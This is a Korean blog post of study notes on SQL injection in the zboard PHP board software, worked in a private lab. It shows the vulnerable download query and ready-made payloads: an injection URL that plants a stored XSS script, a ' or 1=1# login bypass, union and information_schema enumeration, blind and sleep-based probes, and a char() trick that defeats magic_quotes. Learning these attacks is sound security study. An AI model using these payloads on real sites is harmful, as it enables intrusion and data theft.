ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [웹보안] zboard 취약점 분석 - SQL Injection
    보안/웹보안 2017. 5. 30. 17:13

    Injection 기법들

    SQL injection

    php injection

    html injection

    command injection



    분석

    Download : 3 라는 숫자가 저장되면서 변하는 것을 볼 수 있었다.

    SQL을 사용하며 [ DB ] 를 사용한다는 뜻이다.


    소스보기를 살펴보자.


    [링크]

    download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=64&filenum=1


    링크를 확인하니 download.php에서 DB를 처리하는 것 같다.

    >> 사실 이부분은 공격자 입장에서 볼 수 없으므로 넘어가는 데이터의 형태와 외부변수를 적극적으로 이용해야 한다.


    변수들을 치환해서 실제 쿼리동작을 알아보자.

    mysql_query("update $t_board"."_$id set download".$filenum."=download".$filenum."+1 where no='$no'");


    *치환된 SQL > update zetyx_board_attack set download1=download1+1 where no='64'


    변 수

    [lib.php :39]

    $t_board = "zetyx_board";


    [url : 외부에서 정의되는 변수]

    $id=attack

    $filenum=1

    $no=64


    커멘드 #, --, /* */ 를 이용 >> URL Encoding : 문자에 대한 아스키코드 %를 붙여준다.


    응용 > injection을 통한 script 삽입

    #String SQL Injection

    http://192.168.6.233/zboard/download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=75&filenum=1=7777, memo='<script> alert(\'xss\') </script>' where no=75 %23


    #numeric SQL Injection

    and 1=1을 삽입해 쿼리가 실행되면 쿼리가 삽입될 수 있다는 것. ( 0이 아닌 모든 수 는 참 )

    union .. join ....

    union : 같은 컬럼수의 테이블을 조회가능

    table , colum 이름을 찾는방법

    1) 추측 ( Guessing )

     테이블과 컬럼이름이 사용하는 기능과 연관이 있다.


    2) 직접확인( )

     mysql ver.5 이상부터 확인


    1) 컬럼의 갯수를 찾는다. ( order by ... )


    2) information_schema ( table, columns 테이블 ) 에서 컬럼, 테이블이름을 찾는다.

    table_name, table_schema, column_name, column_type, column_....


    3) concat함수로 컬럼을 합친다. // NULL을 추가한다.


    대신 아무것도 없을떄는 blind SQL injection 방식을 사용하.


    # 로그인 >> 세션이 저장되어 페이지에서 재검사를 하기때문에 실패

    ID : ` or 1=1#

    pw: ` or 1=1#


    #blind SQL injection

    목적 : 정보노출

    select * from where no= ]] > 1 and ascii(substr((select table_name from infomation_schema.tables limit 0,1),1,1)) > 50;

    >> 으로 ascii함수, substr 처리하자.


    #아무것도 없을경우 

    and sleep(10) 추가해서 딜레이로 쿼리가 실행되는지 확인이 가능하다 

    > 크롤링을 만들어서 사용해도 된다.

    php.net [ socat ]



    출력되는곳이 없기에 논리식으로만 인젝션을 할 수 있다. 

    - 하나의 데이터 , 열과 행 1,1 로 이루어져야하며 이데이터를 문자열로 가져온다.

    select column1 from table limit 0,1;



    방어법

    *php ( magic_quotes_gpc )         #문자열에서만 가능한 기법    이스케이프 문자를 삽입할 수 없게 된다.

    5.4 이후 사라진 기능                 #모든 입력값에대한 검증이 시작하기에 사라짐 > 개발자가 직접 검증(addcslashes)

    :745 magic_quotes_gpc = On         #default Off

    >> 재공격법

    char(98,121,113,97,115,115,32,70,73,76,84,69,82,73,78,71,33,33,33)



    댓글

Designed by Tistory.